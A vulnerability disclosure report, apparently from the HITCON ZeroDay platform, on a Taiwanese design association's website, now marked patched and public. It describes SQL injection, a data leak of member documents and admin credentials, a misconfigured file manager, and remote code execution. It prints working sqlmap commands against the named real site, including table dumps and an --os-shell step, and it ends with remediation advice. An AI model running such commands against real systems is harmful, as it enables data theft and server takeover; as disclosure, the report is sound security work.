台灣設計菁英協會 SQL注入、RCE、伺服器與檔案管理配置不當、大量敏感資料洩漏

Vulnerability Overview

ZDID: ZD-2024-00998
發信 Vendor: 社團法人台灣設計菁英協會
Title: 台灣設計菁英協會 SQL注入、RCE、伺服器與檔案管理配置不當、大量敏感資料洩漏
Introduction: SQL注入、RCE、伺服器與檔案管理配置不當、大量敏感資料洩漏

處理狀態

目前狀態

公開

Last Update : 2024/11/02

新提交
已審核
已通報
已修補
未複測
公開

處理歷程

2024/08/27 21:17:27 : 新提交 (由 {{萌新}} 更新此狀態)
2024/08/27 21:38:18 : 新提交 (由 {{萌新}} 更新此狀態)
2024/08/27 22:25:38 : 新提交 (由 {{萌新}} 更新此狀態)
2024/08/28 07:23:09 : 新提交 (由 {{萌新}} 更新此狀態)
2024/08/28 07:24:26 : 新提交 (由 {{萌新}} 更新此狀態)
2024/08/28 16:53:25 : 新提交 (由 {{萌新}} 更新此狀態)
2024/08/29 23:47:40 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/09/10 21:07:36 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/09/10 21:07:36 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/09/10 21:07:36 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/10/25 17:43:04 : 已修補 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/11/02 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2024-00998
通報者：nhd1261 ({{萌新}})
風險：嚴重
類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

SQL注入與大量敏感資料洩漏
描述：透過SQL注入漏洞，攻擊者可取得敏感資料，包括：
會員個資
管理員明文帳號與密碼
資料庫帳號及哈希加密的密碼
利用管理員帳號登入網站後台，可進行未經授權的操作
Payload:
python sqlmap.py "http://www.tdea.com.tw/news.php?current=2" --dbs --threads 10 --random-agent --batch
python sqlmap.py "http://www.tdea.com.tw/news.php?current=2" --users --passwords --threads 10 --random-agent --batch
python sqlmap.py "http://www.tdea.com.tw/news.php?current=2" -D erdbpmso_tdea -T adminss --dump --threads 10 --random-agent --batch
影響：導致敏感資料洩漏，可能進一步被利用進行帳號盜用、系統控制或其他惡意行為。
伺服器與檔案管理配置不當
描述：發現網站配置不當，暴露了多項敏感資訊和功能：
Index of 洩漏：公開了CKFinder配置文件、上傳目錄及會員檔案（如身分證影本、匯款單、內部文件等）
CKFinder未經授權的文件操作：允許未經授權的上傳、下載、修改、刪除操作，上傳與修改有對副檔名做限制，本人功力不足，未發現繞過限制上傳web shell的方法，但裡面已經有他人上傳的可疑文件了(本人的測試用文件皆已刪除)。
暴露的伺服器資訊頁面：如 infophp、Apache Server Information 和 Apache Server Status
影響：攻擊者可利用這些配置不當的點進一步探測系統，並進行各種攻擊，如上傳惡意檔案或提取敏感信息。

3.RCE
描述：透過SQL注入與phpinfo洩漏的目錄結構，成功上傳後門，實現RCE(測試完畢後已刪除後門)。
Payload: python sqlmap.py "http://www.tdea.com.tw/news.php?current=2" --os-shell
C:/xampp/htdocs/tdea
影響：攻擊者可完全控制伺服器，進行持久化攻擊、數據竊取或系統破壞。

4.phpMyAdmin 登入介面洩漏
描述：發現phpMyAdmin的登入介面，可能進一步暴露資料庫管理權限。雖未進行暴力破解測試，但存在潛在風險，攻擊者可能透過前面所獲得的資訊破解帳密。
影響：攻擊者若成功登入，將可直接控制資料庫。

修補建議

修復SQL注入漏洞：
檢查並修復所有注入點，使用參數化查詢，並變更所有洩漏的帳號密碼。

加強伺服器配置：
關閉 Index of，限制未經授權的訪問。
加強CKFinder的授權配置，限制從外界訪問、上傳、修改、下載、刪除的權限。
關閉或限制伺服器資訊頁面的訪問。

保護phpMyAdmin：限制訪問權限或更改管理介面的URL。